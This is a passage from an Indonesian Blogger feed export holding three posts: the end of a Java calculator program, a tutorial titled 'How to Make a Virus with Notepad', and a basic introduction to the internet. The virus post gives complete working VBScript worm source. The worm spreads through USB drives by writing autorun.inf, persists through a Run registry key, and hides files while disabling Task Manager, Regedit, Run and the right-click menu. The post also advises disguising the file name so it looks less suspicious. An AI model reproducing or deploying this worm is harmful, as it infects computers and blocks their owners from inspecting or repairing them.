/&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;  System.out.println("Entered in cmd=X and where mul_flag=false");&lt;br /&gt;  result=result*Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));////////////////&lt;br /&gt;  temp="";&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //****************************************************************************&lt;br /&gt; //******************&lt;br /&gt;  if(cmd=="TAMBIH")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(sign=="BAGI" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result/Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  temp="";&lt;br /&gt;  }&lt;br /&gt;  if(sign=="KALI" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result*Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  }&lt;br /&gt;  if(sign=="KIRANG" &amp;&amp; temp!="")&lt;br /&gt;  &lt;br /&gt; //e.g 2-2+4 for this like operation&lt;br /&gt;  {&lt;br /&gt;  result=result-Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  }&lt;br /&gt;  sign="TAMBIH";&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  System.out.println("Entered in + temp!=empty ");&lt;br /&gt;  result=Double.parseDouble(temp)+result;&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  System.out.println(String.valueOf(temp));&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //****************************************************************************&lt;br /&gt; //******************&lt;br /&gt;  if(cmd=="KIRANG")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(sign=="BAGI" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result/Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  temp="";&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  }&lt;br /&gt;  if(sign=="KALI" &amp;&amp; temp!="")&lt;br /&gt;  {&lt;br /&gt;  result=result*Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  }&lt;br /&gt;  if(sign=="TAMBIH" &amp;&amp; temp!="") &lt;br /&gt;  &lt;br /&gt; //jika pengguna memasukan 2-2+ atau nomer manapun&lt;br /&gt;  {&lt;br /&gt;  result=Double.parseDouble(temp)+result;&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  }&lt;br /&gt;  sign="KIRANG";&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  System.out.println(" Entered in - where temp!=empty ");&lt;br /&gt;  if(flag_minus_first==true)&lt;br /&gt;  &lt;br /&gt; //kapan pertama kali pemakai melaksanakan-operasi setelah mulai program&lt;br /&gt;  {&lt;br /&gt;  result=Double.parseDouble(temp)-result;&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  System.out.println(result);&lt;br /&gt;  }&lt;br /&gt;  else&lt;br /&gt;  {&lt;br /&gt;  result=result-Double.parseDouble(temp);&lt;br /&gt;  System.out.println(result);&lt;br /&gt;  }&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  temp="";&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //****************************************************************************&lt;br /&gt;  if(cmd=="=")&lt;br /&gt;  {&lt;br /&gt;  point_flag=true;&lt;br /&gt;  if(sign=="TAMBIH")&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  &lt;br /&gt; //pengujian kemungkinan pemindahan&lt;br /&gt;  result=Double.parseDouble(temp)+result;&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  sign="";&lt;br /&gt;  temp="";&lt;br /&gt;  System.out.println("Hasil="+result);&lt;br /&gt;  mr_flag=true;&lt;br /&gt;  &lt;br /&gt; ///penggunaan memori untuk pemanggilan mekanisme&lt;br /&gt;  }&lt;br /&gt;  if(sign=="KIRANG")&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  &lt;br /&gt; //pengujian kemungkinan pemindahan&lt;br /&gt;  result=result-Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  sign="";&lt;br /&gt;  temp="";&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  mr_flag=true;&lt;br /&gt;  &lt;br /&gt; ///penggunaan memori untuk pemanggilan mekanisme&lt;br /&gt;  }&lt;br /&gt;  if(sign=="KALI")&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  &lt;br /&gt; //pengujian kemungkinan pemindahan&lt;br /&gt;  result=result*Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  sign="";&lt;br /&gt;  temp="";&lt;br /&gt;  mr_flag=true;&lt;br /&gt;  &lt;br /&gt; ///penggunaan memori untuk pemanggilan mekanisme &lt;br /&gt; //mul_temp=1;&lt;br /&gt;  }&lt;br /&gt;  if(sign=="BAGI")&lt;br /&gt;  if(temp!="")&lt;br /&gt;  {&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  divide_flag=false;&lt;br /&gt;  flag_minus_first=false;&lt;br /&gt;  &lt;br /&gt; //pengujian kemungkinan pemindahan &lt;br /&gt;  result=result/Double.parseDouble(temp);&lt;br /&gt;  TampilanLayar.setText(String.valueOf(result));&lt;br /&gt;  sign="";&lt;br /&gt;  temp="";&lt;br /&gt;  mr_flag=true;&lt;br /&gt;  &lt;br /&gt; ///penggunaan memori untuk pemanggilan mekanisme&lt;br /&gt;  }&lt;br /&gt;  if(sign=="")&lt;br /&gt;  if(temp!="")&lt;br /&gt; //pengujian kemungkinan pemindahan&lt;br /&gt;  {&lt;br /&gt;  result=Double.parseDouble(TampilanLayar.getText());&lt;br /&gt;  System.out.println("result="+TampilanLayar.getText());&lt;br /&gt;  mul_flag=false;&lt;br /&gt;  mr_flag=true;&lt;br /&gt; ///penggunaan memori untuk pemanggilan mekanisme (tkj tea pikirkeunuen.just kidul..he.he.)&lt;br /&gt;  }&lt;br /&gt;  temp="";&lt;br /&gt;  }&lt;br /&gt; //****************************************************************************&lt;br /&gt; //******************&lt;br /&gt; &lt;br /&gt;  if(cmd=="."||cmd=="0" || cmd=="1" ||&lt;br /&gt;  cmd=="2" || cmd=="3" || cmd=="4" || cmd=="5" || cmd=="6" || cmd=="7" ||&lt;br /&gt;  cmd=="8" || cmd=="9")&lt;br /&gt;  {&lt;br /&gt;  if(cmd=="." &amp;&amp; temp=="" &amp;&amp; point_flag==true)&lt;br /&gt;  {&lt;br /&gt;  temp="0";&lt;br /&gt;  temp=temp+cmd;&lt;br /&gt;  point_flag=false;&lt;br /&gt;  }&lt;br /&gt;  else if(cmd=="." &amp;&amp; temp!="" &amp;&amp; point_flag==true)&lt;br /&gt;  {&lt;br /&gt;  temp=temp+cmd;&lt;br /&gt;  point_flag=false;&lt;br /&gt;  }&lt;br /&gt; //temp=temp+cmd;&lt;br /&gt;  else if(cmd!=".")&lt;br /&gt;  temp=temp+cmd;&lt;br /&gt;  TampilanLayar.setText(temp);&lt;br /&gt;  System.out.println("temp"+temp);&lt;br /&gt;  mr_flag=false;&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt; //****************************************************************************&lt;br /&gt; //******************&lt;br /&gt;  if(cmd=="C")&lt;br /&gt;  {&lt;br /&gt; //tambah_slash_minus_flag=true;&lt;br /&gt;  point_flag=true;&lt;br /&gt;  mr_flag=false;&lt;br /&gt;  divide_temp=1;&lt;br /&gt;  divide_flag=true;&lt;br /&gt;  mul_flag=true;&lt;br /&gt;  temp="";&lt;br /&gt;  TampilanLayar.setText("SALAM HANGAT MHS TKJ H2");&lt;br /&gt;  result=0;&lt;br /&gt;  sign="";&lt;br /&gt;  flag_minus_first=true;&lt;br /&gt;  mul_temp=1;&lt;br /&gt;  System.out.println("result="+result);&lt;br /&gt;  System.out.println("temp="+temp);&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  //****************************************************************************&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;     }&lt;br /&gt; }&lt;br /&gt;  &lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-4178449360314934023?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/4178449360314934023/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2009/01/membuat-kalkulator-dengan-j-creator.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/4178449360314934023'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/4178449360314934023'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2009/01/membuat-kalkulator-dengan-j-creator.html' title='Membuat Kalkulator dengan J Creator'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-2821387687323546150</id><published>2008-12-01T12:24:00.002+07:00</published><updated>2009-01-11T13:15:56.361+07:00</updated><title type='text'>Cara Membuat Virus dengan Notepad</title><content type='html'>Kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Sekarang buka Notepad-nya. Copy kode berikut :&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//&lt;br /&gt;on error resume next&lt;br /&gt;&lt;br /&gt;'//--Dim kata-kata berikut ini--//&lt;br /&gt;dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd&lt;br /&gt;&lt;br /&gt;'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//&lt;br /&gt;isi = "[autorun]" &amp; vbcrlf &amp; "shellexecute=wscript.exe k4l0n6.dll.vbs"&lt;br /&gt;set fs = createobject("Scripting.FileSystemObject")&lt;br /&gt;set mf = fs.getfile(Wscript.ScriptFullname)&lt;br /&gt;dim text,size&lt;br /&gt;size = mf.size&lt;br /&gt;check = mf.drive.drivetype&lt;br /&gt;set text = mf.openastextstream(1,-2)&lt;br /&gt;do while not text.atendofstream&lt;br /&gt;rekur = rekur &amp; text.readline&lt;br /&gt;rekur = rekur &amp; vbcrlf&lt;br /&gt;loop&lt;br /&gt;do&lt;br /&gt;&lt;br /&gt;'//--Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)&lt;br /&gt;Set windowpath = fs.getspecialfolder(0)&lt;br /&gt;set tf = fs.getfile(windowpath &amp; "\batch- k4l0n6.dll.vbs ")&lt;br /&gt;tf.attributes = 32&lt;br /&gt;set tf=fs.createtextfile(windowpath &amp; "\batch- k4l0n6.dll.vbs",2,true)&lt;br /&gt;tf.write rekursif&lt;br /&gt;tf.close&lt;br /&gt;set tf = fs.getfile(windowpath &amp; "\batch- k4l0n6.dll.vbs ")&lt;br /&gt;tf.attributes = 39&lt;br /&gt;'//--Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok--//&lt;br /&gt;‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket&lt;br /&gt;&lt;br /&gt;for each flashdrive in fs.drives&lt;br /&gt;'//--Cek Drive--//&lt;br /&gt;If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path &lt;&gt; "A:" then&lt;br /&gt;&lt;br /&gt;'//--Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\--//&lt;br /&gt;set tf=fs.getfile(flashdrive.path &amp;"\k4l0n6.dll.vbs ")&lt;br /&gt;tf.attributes =32&lt;br /&gt;set tf=fs.createtextfile(flashdrive.path &amp;"\k4l0n6.dll.vbs ",2,true)&lt;br /&gt;tf.write rekursif&lt;br /&gt;tf.close&lt;br /&gt;set tf=fs.getfile(flashdrive.path &amp;"\k4l0n6.dll.vbs ")&lt;br /&gt;tf.attributes = 39&lt;br /&gt;&lt;br /&gt;'//--Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)--//&lt;br /&gt;set tf =fs.getfile(flashdrive.path &amp;"\autorun.inf")&lt;br /&gt;tf.attributes = 32&lt;br /&gt;set tf=fs.createtextfile(flashdrive.path &amp;"\autorun.inf",2,true)&lt;br /&gt;tf.write isi&lt;br /&gt;tf.close&lt;br /&gt;set tf = fs.getfile(flashdrive.path &amp;"\autorun.inf")&lt;br /&gt;tf.attributes=39&lt;br /&gt;end if&lt;br /&gt;next&lt;br /&gt;&lt;br /&gt;'//--Manipulasi Registry--//&lt;br /&gt;&lt;br /&gt;set kalong = createobject("WScript.Shell")&lt;br /&gt;&lt;br /&gt;'//--Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY--//&lt;br /&gt;kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE KALONG v.s. ZAY "&lt;br /&gt;&lt;br /&gt;'//--Manip – Set agar file hidden tidak ditampilkan di Explorer--//&lt;br /&gt;kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0", "REG_DWORD"&lt;br /&gt;&lt;br /&gt;'//--Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager--//&lt;br /&gt;kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"&lt;br /&gt;kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"&lt;br /&gt;kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"&lt;br /&gt;kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"&lt;br /&gt;kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"&lt;br /&gt;&lt;br /&gt;'//--Manip – Disable klik kanan--//&lt;br /&gt;kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"&lt;br /&gt;&lt;br /&gt;'//--Manip - Munculkan Pesan Setiap Windows Startup--//&lt;br /&gt;kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe."&lt;br /&gt;&lt;br /&gt;'//--Manip – Aktif setiap Windows Startup--//&lt;br /&gt;kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath &amp; "\batch- k4l0n6.dll.vbs "&lt;br /&gt;&lt;br /&gt;'//--Manip – Ubah RegisteredOwner dan Organization--//&lt;br /&gt;kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"&lt;br /&gt;kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Kalong"&lt;br /&gt;&lt;br /&gt;'//--Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan--//&lt;br /&gt;if check &lt;&gt; 1 then&lt;br /&gt;Wscript.sleep 200000&lt;br /&gt;end if&lt;br /&gt;loop while check &lt;&gt; 1&lt;br /&gt;set sd = createobject("Wscript.shell")&lt;br /&gt;sd.run windowpath &amp; "\explorer.exe /e,/select, " &amp; Wscript.ScriptFullname&lt;br /&gt;'Akhir dari Kode&lt;br /&gt;&lt;br /&gt;Save code di Notepad dengan cara FILE &gt; SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.&lt;br /&gt;Sumber Diambil dari : Fariskhi Vidyan&lt;br /&gt;&lt;a href="http://www.farislab.net.tf or http://farislab.webs.io"&gt;http://www.farislab.net.tf or http://farislab.webs.io&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-2821387687323546150?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/2821387687323546150/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2008/12/cara-membuat-virus-dengan-notepad.html#comment-form' title='10 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2821387687323546150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2821387687323546150'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2008/12/cara-membuat-virus-dengan-notepad.html' title='Cara Membuat Virus dengan Notepad'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4800477668618011834.post-2716923405146288106</id><published>2008-12-01T11:32:00.004+07:00</published><updated>2009-01-11T13:18:09.432+07:00</updated><title type='text'>Pengenalan Internet</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_0viGC6AqZAo/STNpz0YFtcI/AAAAAAAAAEQ/PZfcXqRDx6I/s1600-h/3156202377.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 140px; height: 112px;" src="http://2.bp.blogspot.com/_0viGC6AqZAo/STNpz0YFtcI/AAAAAAAAAEQ/PZfcXqRDx6I/s200/3156202377.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5274675927534908866" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Internet adalah singkatan dari Interconnect ion Network yang secara harfiah berart i&lt;br /&gt;hubungan antar j aringan komputer (network). Sedangkan network sendiri diart ikan sebagai&lt;br /&gt;suatu sistem komunikasi data antar komputer. Contoh j aringan komputer yang paling sering&lt;br /&gt;kita temukan misalnya LAN (Local Area Network) yang menghubungkan komputer-komputer&lt;br /&gt;yang berada dalam suatu areal atau lokasi tertentu sepert i kantor, sekolah, perusahaan,&lt;br /&gt;warnet, dan lain-lain.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Gambaran sederhananya sepert i ini: beberapa komputer dihubungkan satu sama lain&lt;br /&gt;sehingga membentuk j aringan komputer (network). Nah, bila sej umlah network (j aringan&lt;br /&gt;komputer) kemudian digabung dan dihubung-hubungkan lagi maka jadilah internet.&lt;br /&gt;Jadi pengert ian internet secara umum (menurut bahasa) adalah kumpulan dari jaringan&lt;br /&gt;komputer yang terhubung dan bekerj a sebagai suatu sistem. Sedangkan pengert ian Internet&lt;br /&gt;secara khusus (inilah yang sering terpakai dan yang dimaksud dalam pembahasan ini) adalah&lt;br /&gt;suatu j aringan komputer terbesar di dunia karena menghubungkan seluruh j aringan komputer&lt;br /&gt;yang ada di dunia ini. Untuk ringkasnya, Internet adalah jaringan komputer global sedangkan&lt;br /&gt;jaringan komputer lokal (LAN) dinamakan Intranet.&lt;br /&gt;Untuk mendapatkan akses internet , sebuah komputer harus menggunakan jasa perusahaan&lt;br /&gt;penyedia layanan internet atau Internet Service Provider (ISP). Dengan jasa perusahaan ISP&lt;br /&gt;ini, kita bisa mendapatkan j alur internet (online) setelah menghubungkan komputer kita&lt;br /&gt;3&lt;br /&gt;dengan komputer servernya. Hubungan (koneksi) antara komputer pengguna dengan komputer&lt;br /&gt;server perusahaan ISP tersebut biasanya dilakukan lewat jaringan telepon (dial-up) dengan&lt;br /&gt;menggunakan peralatan modem, Wireless, ADSL, Handphone, Fiber opt ic dll.. Lewat komputer&lt;br /&gt;server yang dimiliki oleh ISP itulah kita bisa terhubung dengan j aringan komputer sedunia&lt;br /&gt;(internet).&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4800477668618011834-2716923405146288106?l=nanskom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanskom.blogspot.com/feeds/2716923405146288106/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://nanskom.blogspot.com/2008/12/internet-adalah-singkatan-dari.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2716923405146288106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4800477668618011834/posts/default/2716923405146288106'/><link rel='alternate' type='text/html' href='http://nanskom.blogspot.com/2008/12/internet-adalah-singkatan-dari.html' title='Pengenalan Internet'/><author><name>Nanin Ernis Nurjaman</name><uri>http://www.blogger.com/profile/10049199925308390446</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_0viGC6AqZAo/STNpz0YFtcI/AAAAAAAAAEQ/PZfcXqRDx6I/s72-c/3156202377.jpg' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
